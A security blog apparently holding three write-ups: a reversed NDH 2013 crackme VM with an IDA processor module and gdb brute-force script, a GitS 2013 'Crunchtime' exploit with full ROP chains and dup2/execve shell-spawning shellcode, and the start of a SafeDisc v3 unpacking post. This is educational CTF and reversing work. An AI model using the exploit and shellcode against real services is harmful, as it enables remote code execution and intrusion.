11/03/2013

Another NDH quals another VM wait ...

Introduction

Last weekend I participated in the Nuit du Hack CTF Quals 2013 with my teamate delroth, you can find an excellent write-up about escaping a Python sandbox on his blog.

So I decided to post a writeup too about the last crackme challenge "Crackme #1".

This Reverse Engineering challenge was a virtual machine, so I decided to reverse the full vm, but today I figured out something ...

Do you remember last ndh prequals ? no no I will not talk about bmp chall but about VMNDH-2k12, it was exactly the same VM (I'm very sad to have lost some hours to reverse something that I know), the only changes was the opcode values, so this post will not deal with the vm stuff you have all the information on this website.

VM Opcode

You can find the vm dump at :

LOAD:000000000048F2E8 vm_dump         db  7Fh ; 
LOAD:000000000048F2E9                 db  45h ; E
LOAD:000000000048F2EA                 db  4Ch ; L
LOAD:000000000048F2EB                 db  46h ; F
LOAD:000000000048F2EC                 db  72h ; r
LOAD:000000000048F2ED                 db    3
LOAD:000000000048F2EE                 db  0Ah

Real vm code start at offset 0x06 (byte 0x0A) and the size of the vm code is 0x371 (881 bytes).

Do you want to mary me ?

I love IDA, and I like writting plugins, scripts, processor (when I don't have to reverse IDA for understanding how their api works :p) in python, so after reversing almost the same vm, I decided to write my ndh2k13 processor, here is the code :

from idaapi import * class DecodingError(Exception): pass class NDHProcessor(processor_t): id = 0x8000 + 5855 flag = PR_ADJSEGS | PRN_HEX cnbits = 8 dnbits = 8 psnames = ["ndh2k13"] plnames = ["ndh2k13 VM CPU"] segreg_size = 0 instruc_start = 0 assembler = { "flag": AS_NCHRE | ASH_HEXF4 | ASD_DECF1 | ASO_OCTF3 | ASB_BINF2 | AS_NOTAB, "uflag": 0, "name": "NDH assembler", "origin": ".org", "end": ".end", "cmnt": ";", "ascsep": '"', "accsep": "'", "esccodes": "\"'", "a_ascii": ".ascii", "a_byte": ".byte", "a_word": ".word", "a_bss": "dfs %s", "a_seg": "seg", "a_curip": "PC", "a_public": "", "a_weak": "", "a_extrn": ".extern", "a_comdef": "", "a_align": ".align", "lbrace": "(", "rbrace": ")", "a_mod": "%", "a_band": "&", "a_bor": "|", "a_xor": "^", "a_bnot": "~", "a_shl": "<<", "a_shr": ">>", "a_sizeof_fmt": "size %s", } reg_names = regNames = [ "R0", "R1", "R2", "R3", "R4", "R5", "R6", "R7", "SP", "BP", "CS", "DS" ] instruc = instrs = [ { 'name': 'PUSH', 'feature': CF_USE1 }, { 'name': 'PUSHB', 'feature': CF_USE1 }, { 'name': 'PUSHW', 'feature': CF_USE1 }, { 'name': 'NOP', 'feature': 0 }, { 'name': 'POP', 'feature': CF_USE1 }, { 'name': 'MOV', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MOVB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MOVW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ADD', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ADDB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ADDW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'SUB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'SUBB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'SUBW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MUL', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MULB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MULW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'DIV', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'DIVB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'DIVW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'INC', 'feature': CF_USE1 }, { 'name': 'DEC', 'feature': CF_USE1 }, { 'name': 'OR', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ORB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ORW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'AND', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ANDB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ANDW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'XOR', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'XORB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'XORW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'NOT', 'feature': CF_USE1 }, { 'name': 'JZ', 'feature': CF_USE1 }, { 'name': 'JNZ', 'feature': CF_USE1 }, { 'name': 'JMPS', 'feature': CF_USE1 | CF_STOP }, { 'name': 'TEST', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'CMP', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'CMPB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'CMPW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'CALL', 'feature': CF_USE1 | CF_CALL }, { 'name': 'RET', 'feature': CF_STOP }, { 'name': 'JMPL', 'feature': CF_USE1 | CF_STOP }, { 'name': 'END', 'feature': CF_STOP }, { 'name': 'XCHG', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'JA', 'feature': CF_USE1 }, { 'name': 'JB', 'feature': CF_USE1 }, { 'name': 'SYSCALL', 'feature': 0 }, ] instruc_end = len(instruc) def __init__(self): processor_t.__init__(self) self._init_instructions() self._init_registers() def _init_instructions(self): self.inames = {} for idx, ins in enumerate(self.instrs): self.inames[ins['name']] = idx def _init_registers(self): self.reg_ids = {} for i, reg in enumerate(self.reg_names): self.reg_ids[reg] = i self.regFirstSreg = self.regCodeSreg = self.reg_ids["CS"] self.regLastSreg = self.regDataSreg = self.reg_ids["DS"] def _read_cmd_byte(self): ea = self.cmd.ea + self.cmd.size byte = get_full_byte(ea) self.cmd.size += 1 return byte def _read_reg(self): r = self._read_cmd_byte() if r >= 0x0A: raise DecodingError() return r def _ana_ntypeinstr(self, name, valid): cmd = self.cmd optype = self._read_cmd_byte() if optype not in valid: raise DecodingError() if optype not in (4, 5, 6): cmd[0].type = o_reg cmd[0].dtyp = dt_word cmd[0].reg = self._read_reg() if optype == 0x0: cmd.itype = self.inames[name] cmd[1].type = o_reg cmd[1].dtyp = dt_word cmd[1].reg = self._read_reg() elif optype == 0x1: cmd.itype = self.inames[name + "B"] cmd[1].type = o_imm cmd[1].dtyp = dt_byte cmd[1].value = self._read_cmd_byte() elif optype == 0x2: cmd.itype = self.inames[name + "W"] cmd[1].type = o_imm cmd[1].dtyp = dt_word cmd[1].value = self._read_cmd_byte() cmd[1].value |= self._read_cmd_byte() << 8 elif optype == 0x3: cmd.itype = self.inames[name] elif optype == 0x4: cmd.itype = self.inames[name + "B"] cmd[0].type = o_imm cmd[0].dtyp = dt_byte cmd[0].value = self._read_cmd_byte() elif optype == 0x5: cmd.itype = self.inames[name + "W"] cmd[0].type = o_imm cmd[0].dtyp = dt_word cmd[0].value = self._read_cmd_byte() cmd[0].value |= self._read_cmd_byte() << 8 elif optype == 0x6: cmd.itype = self.inames[name + "B"] cmd[0].type = o_phrase cmd[0].dtyp = dt_word cmd[0].reg = self._read_reg() cmd[1].type = o_reg cmd[1].dtyp = dt_word cmd[1].reg = self._read_reg() elif optype == 0xA: cmd.itype = self.inames[name] cmd[1].type = o_phrase cmd[1].dtyp = dt_word cmd[1].reg = self._read_reg() else: raise DecodingError() def _ana_one_r(self, name): cmd = self.cmd cmd.itype = self.inames[name] cmd[0].type = o_reg cmd[0].dtyp = dt_word cmd[0].reg = self._read_reg() def _ana_two_r(self, name): cmd = self.cmd cmd.itype = self.inames[name] cmd[0].type = o_reg cmd[0].dtyp = dt_word cmd[0].reg = self._read_reg() cmd[1].type = o_reg cmd[1].dtyp = dt_word cmd[1].reg = self._read_reg() def _ana_jmp(self, name, size=16): cmd = self.cmd cmd.itype = self.inames[name] addr = self._read_cmd_byte() if size == 16: addr |= self._read_cmd_byte() << 8 if (addr & 0x8000): addr -= 0x10000 else: if addr & 0x80: addr -= 0x100 addr += cmd.ea + cmd.size cmd[0].type = o_near cmd[0].dtyp = dt_word cmd[0].addr = addr def _ana(self): cmd = self.cmd opcode = self._read_cmd_byte() if opcode == 0x1F: self._ana_ntypeinstr("PUSH", valid=(3, 4, 5)) elif opcode == 0x0A: cmd.itype = self.inames["JMPL"] self._ana_jmp("JMPL") elif opcode == 0x1C: self._ana_ntypeinstr("MOV", valid=(0, 1, 2, 6, 7, 8, 9, 10)) elif opcode == 0x0C: cmd.itype = self.inames["CALL"] flags = self._read_cmd_byte() if flags == 0x4: addr = self._read_cmd_byte() addr |= self._read_cmd_byte() << 8 if (addr & 0x8000): addr -= 0x10000 addr += cmd.ea + cmd.size cmd[0].type = o_near cmd[0].dtyp = dt_word cmd[0].addr = addr elif flags == 0x3: reg = self._read_reg() cmd[0].type = o_reg cmd[0].dtyp = dt_word cmd[0].reg = reg else: raise DecodingError() elif opcode == 0x30: cmd.itype = self.inames["SYSCALL"] elif opcode == 0x0B: cmd.itype = self.inames["RET"] elif opcode == 0x1A: self._ana_ntypeinstr("SUB", valid=(0, 1, 2)) elif opcode == 0x0D: self._ana_ntypeinstr("CMP", valid=(0, 1, 2)) elif opcode == 0x11: self._ana_jmp("JZ") elif opcode == 0x09: cmd.itype = self.inames["END"] elif opcode == 0x1F: self._ana_jmp("JMPS", size=8) elif opcode == 0x17: self._ana_one_r("INC") elif opcode == 0x10: self._ana_jmp("JNZ") elif opcode == 0x16: self._ana_one_r("DEC") elif opcode == 0x13: self._ana_ntypeinstr("XOR", valid=(0, 1, 2)) elif opcode == 0x0E: self._ana_two_r("TEST") elif opcode == 0x1D: self._ana_one_r("POP") elif opcode == 0x07: self._ana_jmp("JA") elif opcode == 0x0F: self._ana_jmp("JMPS", size=8) elif opcode == 0x06: self._ana_jmp("JB") elif opcode == 0x1B: self._ana_ntypeinstr("ADD", valid=(0, 1, 2)) elif opcode == 0x08: self._ana_two_r("XCHG") elif opcode == 0x19: self._ana_ntypeinstr("MUL", valid=(0, 1, 2)) else: raise DecodingError() return cmd.size def ana(self): try: return self._ana() except DecodingError: return 0 def _emu_operand(self, op): if op.type == o_mem: ua_dodata2(0, op.addr, op.dtyp) ua_add_dref(0, op.addr, dr_R) elif op.type == o_near: if self.cmd.get_canon_feature() & CF_CALL: fl = fl_CN else: fl = fl_JN ua_add_cref(0, op.addr, fl) def emu(self): cmd = self.cmd ft = cmd.get_canon_feature() if ft & CF_USE1: self._emu_operand(cmd[0]) if ft & CF_USE2: self._emu_operand(cmd[1]) if ft & CF_USE3: self._emu_operand(cmd[2]) if not ft & CF_STOP: ua_add_cref(0, cmd.ea + cmd.size, fl_F) return True def outop(self, op): if op.type == o_reg: out_register(self.reg_names[op.reg]) elif op.type == o_imm: OutValue(op, OOFW_IMM) elif op.type in [o_near, o_mem]: ok = out_name_expr(op, op.addr, BADADDR) if not ok: out_tagon(COLOR_ERROR) OutLong(op.addr, 16) out_tagoff(COLOR_ERROR) QueueMark(Q_noName, self.cmd.ea) elif op.type == o_phrase: out_symbol('[') out_register(self.reg_names[op.reg]) out_symbol(']') else: return False return True def out(self): cmd = self.cmd ft = cmd.get_canon_feature() buf = init_output_buffer(1024) OutMnem(15) if ft & CF_USE1: out_one_operand(0) if ft & CF_USE2: OutChar(',') OutChar(' ') out_one_operand(1) if ft & CF_USE3: OutChar(',') OutChar(' ') out_one_operand(2) term_output_buffer() cvar.gl_comm = 1 MakeLine(buf) def PROCESSOR_ENTRY(): return NDHProcessor()

If you have trouble for dumping vm_opcode, you can find the dump here.

Load the vm into IDA, choose "ndh2k13 VM CPU: ndh2k13", when IDA ask you for the memory organisation tell him :

Now you can start reverse :)

Solution

We have got only 3 syscall for this version of the vm :

The code of the vm start here :

ROM:8317                 MOVW           R0, aPassword
ROM:831C                 CALL           write_msg
ROM:8320                 SUBB           SP, $20
ROM:8324                 MOV            R2, SP
ROM:8328                 MOVB           R1, 0
ROM:832C                 MOVB           R3, $1F
ROM:8330                 MOVB           R0, $3
ROM:8334                 SYSCALL                 ; SYSCALL READ
ROM:8335                 MOV            R0, R2
ROM:8339                 CALL           check_password

And the pseudo - code of the function check_password is :

char *key = 0x8342;
if (strlen(buf_password) == 9)	// "\n" include
	if (buf_password[0] ^ key[0] == 'S')
		if (buf_password[1] ^ key[1] == '[')
			if (buf_password[2] ^ key[2] == 'K')
				if (buf_password[3] ^ key[3] == ')')
					... etc ...
					print("GOOD PASSWORD\n")
					exit
print("BAD PASSWORD\n")
exit

And the good password is :

key = [0x12, 0x21, 0x02, 0x19, 0x25, 0x34, 0x29, 0x11]
res = ['S', '[', 'K', ')', 'R', 'v', 'Z', 'I']
password = ""
for i in xrange(0, 8):
	password += chr(ord(res[i]) ^ key[i])
print password

The flag was 'AzI0wBsX'.

Conclusion

I'm an idiot to reverse an entire vm and not figure out it was the same than last year, but during ctf you want to be the fatest and don't (always) think about old challenges.

Another solution was to count the number of instructions executed by the vm, yeah because when you write crackme, I think you should compute hash, or something like that, because consecutive if statements is just lulz.

Enjoy :

#! /bin/sh

charset="a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"
charset="$charset _ - ! $ % ^ \\& \\* + = 0 1 2 3 4 5 6 7 8 9 > < ,"

cat > gdbscript <<EOF
set height 0
define countinstrs
	p "instr"
	c
	countinstrs
end

b *0x0000000000400C7F	# call handler opcode
run < guess

countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
EOF

for c in $charset; do
	guess="$c"
	echo -n "$guess" > guess
	echo "AAAAAAA" >> guess
	echo -n "trying key `cat guess`... "
	gdb ./simple < gdbscript 2>&1 \
		| grep '^\$.*= "instr"$' \
		| tail -1 \
		| cut -d ' ' -f 1 \
		| cut -c 2-
done

First letter :

trying key zAAAAAAA... 245
trying key AAAAAAAA... 252
trying key BAAAAAAA... 245

Edit script for replacing first letter by "A"

trying key AyAAAAAA... 252
trying key AzAAAAAA... 259
trying key AAAAAAAA... 252

And do it for the 8 letters.

21/02/2013

CrunchTime

Introduction

Last weekend I participated in the GitS 2013 CTF for team SoSix (team created with my friend @delroth).

Here is my writeup for the pwn400 challenge, called Crunchtime.
Crunchtime is a linux elf64 binary which is an hash generating service.
The binary offers 5 options :

Addstring

This option will ask the user to enter a string, save it in a mallocated buffer, and save the ptr into a pool of 0x64 (100) string table.
If the user has entered more than 0x64 string, it will reset the counter of strings index to 0, and free the old string.

PrintString

This option asks the user which string number he wants, and print it. This function checks if the number < 0xFF and print the string. Here is the first fail, we can leak some information but there are not really useful.

ComputeCRC

This option will generate CRC for all the strings entered by the user.

PrintCRC

This option will print all CRC computed and the string which is associated.

Vulnerability

When the user asks for a new string, a function "CreateNewString" (Offset : ImageBase + 0xEC0) is called, this function has the following stack frame :

Crunchtime_stack_frame

But when the user is asked for a new string, it will read 0x221 bytes or read until finding 0x0A ("\n").

.text:00007FFFF7FFDEE7 mov edx, 221h .text:00007FFFF7FFDEEC mov rsi, rsp .text:00007FFFF7FFDEEF mov edi, ebp ; fd .text:00007FFFF7FFDEF1 mov cl, 0Ah .text:00007FFFF7FFDEF3 call ReadUntil

So we can overwrite the low byte of the return adress of this function, and the saved rbp rbx and rflags registers pushed before the call.
We will have to find good gadget between return_address00 and return_adressFF, and if we look deeper the disassembly before the call fo "CreateNewString" :

.text:00007FFFF7FFDF4B push rbx .text:00007FFFF7FFDF4C lea rbx, [rdx+32h] ; Counter .text:00007FFFF7FFDF50 mov rcx, [rsi+rbx*8] .text:00007FFFF7FFDF54 test rcx, rcx .text:00007FFFF7FFDF57 jz short loc_7FFFF7FFDF78 .text:00007FFFF7FFDF59 lea rsi, aFreeingStringD ; "freeing string %d: %s\n" .text:00007FFFF7FFDF60 xor eax, eax .text:00007FFFF7FFDF62 call vaSendStrlen .text:00007FFFF7FFDF67 mov rdi, [r12+rbx*8] ; ptr .text:00007FFFF7FFDF6B call _free .text:00007FFFF7FFDF70 mov qword ptr [r12+rbx*8], 0 .text:00007FFFF7FFDF78 .text:00007FFFF7FFDF78 loc_7FFFF7FFDF78: ; CODE XREF: AddString+1Cj .text:00007FFFF7FFDF78 mov edi, r14d ; fd .text:00007FFFF7FFDF7B call CreateNewString

We can see that before the call, we can find a push rbx (0x00007FFFF7FFDF4B), and we know that we can control rbx.
So if we overwrite low byte of the return address with 0x4B, it will push a value on the stack, and ask us again to enter a string and re-trigger the vuln.
Let's see an example :

Now we can control full of rip.

> readelf -a ./crunchtime-f3b872bbfd3caa9f9b4013beb399106bfcb8ac50 | grep -A1 GNU_STACK
GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
				0x0000000000000000 0x0000000000000000  RW     8

The stack is not executable so we will have to do some ROP.
But there is another problem :)

> readelf -h ./crunchtime-f3b872bbfd3caa9f9b4013beb399106bfcb8ac50 | grep Type
Type:                              DYN (Shared object file)

The binary is of type shared object, so each time it will be executed the BaseAddress will not be the same, so the address of our gadgets will change !
We will have to find a way to leak information, especially one which help us to construct our rop payload.
Here is the pseudo-code of the function "CreateNewString" :

size = ReadUntil(fd, buffer, 0x221, 0x0A);
if (buffer[size] == 0x0A)
	buffer[size] = 0;
memcpy(malloc(strlen(buffer)), buffer, strlen(buffer));

If the buffer doesn't end with "\n", no null byte will be put at the end of the new string, so when strlen will be called, it will go after the saved rbx, rbp, rflags, and stop at the return adress which contains a null byte in the high byte, so we can leak the return adress and we can know where our binary is loaded.
Let's see with an example, for avoiding problems saved rflags are set to 0x0202020202020202 :

> perl -e'print "1\n" . "A"x536 . "\x02"x8 . "\x80" . "2\n0\n5\n"' | nc  localhost 10100 | hexdump -C
00000000  53 65 6c 65 63 74 20 61  6e 20 6f 70 74 69 6f 6e  |Select an option|
00000010  3a 0a 20 20 31 2e 20 41  64 64 20 73 74 72 69 6e  |:.  1. Add strin|
00000020  67 0a 20 20 32 2e 20 50  72 69 6e 74 20 73 74 72  |g.  2. Print str|
00000030  69 6e 67 0a 20 20 33 2e  20 47 65 6e 65 72 61 74  |ing.  3. Generat|
00000040  65 20 43 52 43 73 0a 20  20 34 2e 20 50 72 69 6e  |e CRCs.  4. Prin|
00000050  74 20 43 52 43 73 0a 20  20 35 2e 20 45 78 69 74  |t CRCs.  5. Exit|
00000060  0a 4e 65 77 20 73 74 72  69 6e 67 3a 20 53 65 6c  |.New string: Sel|
00000070  65 63 74 20 61 6e 20 6f  70 74 69 6f 6e 3a 0a 20  |ect an option:. |
00000080  20 31 2e 20 41 64 64 20  73 74 72 69 6e 67 0a 20  | 1. Add string. |
00000090  20 32 2e 20 50 72 69 6e  74 20 73 74 72 69 6e 67  | 2. Print string|
000000a0  0a 20 20 33 2e 20 47 65  6e 65 72 61 74 65 20 43  |.  3. Generate C|
000000b0  52 43 73 0a 20 20 34 2e  20 50 72 69 6e 74 20 43  |RCs.  4. Print C|
000000c0  52 43 73 0a 20 20 35 2e  20 45 78 69 74 0a 57 68  |RCs.  5. Exit.Wh|
000000d0  69 63 68 20 73 74 72 69  6e 67 20 6e 75 6d 62 65  |ich string numbe|
000000e0  72 20 64 6f 20 79 6f 75  20 77 61 6e 74 3f 0a 53  |r do you want?.S|
000000f0  74 72 69 6e 67 20 30 20  2d 20 41 41 41 41 41 41  |tring 0 - AAAAAA|
00000100  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
*
00000310  41 41 02 02 02 02 02 02  02 02 80 9f 40 4e fa 7f  |AA..........@N..|
00000320  0a 53 65 6c 65 63 74 20  61 6e 20 6f 70 74 69 6f  |.Select an optio|
00000330  6e 3a 0a 20 20 31 2e 20  41 64 64 20 73 74 72 69  |n:.  1. Add stri|
00000340  6e 67 0a 20 20 32 2e 20  50 72 69 6e 74 20 73 74  |ng.  2. Print st|
00000350  72 69 6e 67 0a 20 20 33  2e 20 47 65 6e 65 72 61  |ring.  3. Genera|
00000360  74 65 20 43 52 43 73 0a  20 20 34 2e 20 50 72 69  |te CRCs.  4. Pri|
00000370  6e 74 20 43 52 43 73 0a  20 20 35 2e 20 45 78 69  |nt CRCs.  5. Exi|
00000380  74 0a                                             |t.|
00000382

As you can see after the repeated "A" we can see the return adress : 0x7ffa4e409f80.
Now we are able to compute address of each gadgets with this leak, the rop payload is same as usual, we leak information from glibc, call mmap(RWX), recv into the new RWX zone and call it.
Just a thing, the only way I found to set rsi to the value I want (rsi is used as buffer parameter for recv() and send()), is to jump into the middle of a function and use this gadget :

00007FFFF7FFE3F0 mov     rsi, r12

It calls recv() just after, so be careful.

I didn't find any shellcode with dup2 and execve, so I wrote it :

; dup2(4, 2)
; dup2(4, 1)
; dup2(4, 0)
; execve("/bin/sh")

push 0x04
pop rdi
push 0x21
pop rax
push 0x2
pop rsi
syscall
dec rsi
push 0x21
pop rax
syscall
dec rsi
push 0x21
pop rax
syscall
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall

Exploit

import socket
import struct
import sys

def leak_return_addr(s):
    s.recv(97)  # recv menu
    s.send("1\n")
    s.recv(12)  # recv new str
    #       [BUF]     [RBX]     [RBP]     [EFLAGS]     [RIP LOW BYTE]
    buf = "A" * 520 + "A" * 8 + "A" * 8 + "\x02" * 8 + "\x80"
    s.send(buf)
    s.recv(97)
    s.send("2\n")
    s.recv(33)
    s.send("0\n")
    buf = s.recv(562)
    leak = buf[-7:-1] + "\x00" * 2
    addr_leak = struct.unpack("<Q", leak)[0]
    return addr_leak

def stage1(s, addr_return, fd):
    gadgets = [
        struct.pack("<Q", addr_return + 0x278),     # pop rdx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x7E5),     # pop r12 ; ret
        struct.pack("<Q", addr_return + 0x2020a8),  # .got.plt send()

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x50D),     # pop r13; pop r14 ; ret
        struct.pack("<Q", fd),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", addr_return + 0x470),     # mov rsi, r12
        struct.pack("<Q", 0x0),                     #   pop r10
        struct.pack("<Q", 0x0),                     #   pop rbx
        struct.pack("<Q", 0x0),                     #   pop rbp
        struct.pack("<Q", 0x0),                     #   pop r12
        struct.pack("<Q", 0x0),                     #   pop r13

        struct.pack("<Q", addr_return + 0x40),      # xor eax, eax ; pop rdi ; retn
        struct.pack("<Q", fd),

        struct.pack("<Q", addr_return + 0x278),     # pop rdx;pop rbx; poprbp;ret
        struct.pack("<Q", 0x00000000000000008),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return - 0x230),     # send()

        struct.pack("<Q", addr_return + 0x50F),      # pop r14; ret
        struct.pack("<Q", fd),

        struct.pack("<Q", addr_return - 0x8),       # re triger vuln

    ]
    s.recv(97)
    s.send("1\n")
    s.recv(12)
    # 00007FFFF7FFDF4B push    rbx
    #                           [ RBX ]                [ RBP ]                [ EFLAGS]
    buf = "A" + "\x00" * 519 + struct.pack("<Q", 0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
    s.send(buf)
    gadgets.reverse()
    for i in gadgets:
        s.recv(12)
        buf = "A" + "\x00" * 519 + i + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
        s.send(buf)
    # 00007FFFF7FFDFA1 retn
    s.recv(12)
    buf = "A" + "\x00" * 519 + struct.pack("<Q", 0x0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\xA1"
    s.send(buf)
    s.send("B")
    leak_send = s.recv(8)
    send_addr = struct.unpack("<Q", leak_send)[0]
    print "[+] Send() @ = ", hex(send_addr)
    stage2(s, addr_return, fd, send_addr)

def stage2(s, addr_return, fd, send_addr):
    gadgets = [
        struct.pack("<Q", addr_return + 0x7E5),     # pop r12 ; ret
        struct.pack("<Q", 0x1000),                  # r12 = ....
        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x50D),     # pop r13; pop r14 ; ret
        struct.pack("<Q", fd),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", addr_return + 0x470),     # mov rsi, r12
        struct.pack("<Q", 0x0),                     #   pop r10
        struct.pack("<Q", 0x0),                     #   pop rbx
        struct.pack("<Q", 0x0),                     #   pop rbp
        struct.pack("<Q", 0x0),                     #   pop r12
        struct.pack("<Q", 0x0),                     #   pop r13

        struct.pack("<Q", addr_return + 0x40),      # xor eax, eax ; pop rdi ; retn
        struct.pack("<Q", 0x13370000),

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000031),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x278),     # pop rdx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000007),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", send_addr - 0x51e0 ),     # mmap()

        struct.pack("<Q", addr_return + 0x7E5),     # pop r12 ; ret
        struct.pack("<Q", 0x13370000),              # r12 = ....

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x50D),     # pop r13; pop r14 ; ret
        struct.pack("<Q", fd),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", addr_return + 0x470),     #   mov rsi, r12
        struct.pack("<Q", 0x0),                     #   pop r10
        struct.pack("<Q", 0x0),                     #   pop rbx
        struct.pack("<Q", 0x0),                     #   pop rbp
        struct.pack("<Q", 0x0),                     #   pop r12
        struct.pack("<Q", 0x0),                     #   pop r13

        struct.pack("<Q", addr_return + 0x278),     # pop rdx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x1000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x42),      # pop rdi ; ret
        struct.pack("<Q", fd),

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return - 0x270),     # recv()

        struct.pack("<Q", 0x13370000),              # r12 = ....
        struct.pack("<Q", addr_return - 0x110),     # exit DBG

    ]
    s.recv(12)
    buf = "A" + "\x00" * 518 + struct.pack("<Q", 0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
    s.send(buf)
    gadgets.reverse()
    for i in gadgets:
        s.recv(12)
        buf = "A" + "\x00" * 519 + i + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
        s.send(buf)
    s.recv(12)
    buf = "A" + "\x00" * 519 + struct.pack("<Q", 0x0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\xA1"
    s.send(buf)
    s.send("\x90")
    s.send("\x90")

    shellcode = "\x6a\x04\x5f\x6a\x21\x58\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" + "\x90" * 50


    payload = "\x90" * (4096 - len(shellcode)) + shellcode

    s.send(payload)
    enjoyshell(s)

def enjoyshell(s):
    while True:
        print ">",
        cmd = raw_input()
        if not cmd:
            break
        s.send(cmd + "\n")
        sys.stdout.write(s.recv(65536) + "\n")

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("localhost", 10100))
    addr_return = leak_return_addr(s)
    print "[+] Addr leak = ", hex(addr_return)
    stage1(s, addr_return, 4)
    s.close()

if __name__ == '__main__':
    main()

21/09/2012

Unpackme I am Famous

Introduction

Because it is simply obvious that I have not been posting on this blog for a while, here is a post about Safedisc v3.
Last week I was studying this protection in deep, each component under IDA, but I accidentally broke my external hard drive by giving a shot in. I lost a lot of .idb from different games, softwares or malware, my personal toolz, unpackers, ...
So to smile again I decided to write about how to unpack this protection.
For those familiar with safedisc, the only interesting part will be Nanomites, restoring Imports or emulated opcodes is a joke when you know how older versions work.

Extra data

During introduction I talked about different components, they are placed at the end of the file.
The size of the target game is 1 830 912 bytes, but if we look IMAGE_SECTION_HEADER closely :

 Name      VirtSize   VirtAddr   SizeRaw    PtrRaw     Flags      Pointing Directories
-------------------------------------------------------------------------------------------
 .text     00131148h  00401000h  00132000h  00001000h  60000020h  
 .rdata    0002F497h  00533000h  00030000h  00133000h  40000040h  Debug Data
 .data     012CDCE8h  00563000h  0000D000h  00163000h  C0000040h  
 .rsrc     0003289Eh  01831000h  00033000h  00170000h  40000040h  Resource Table
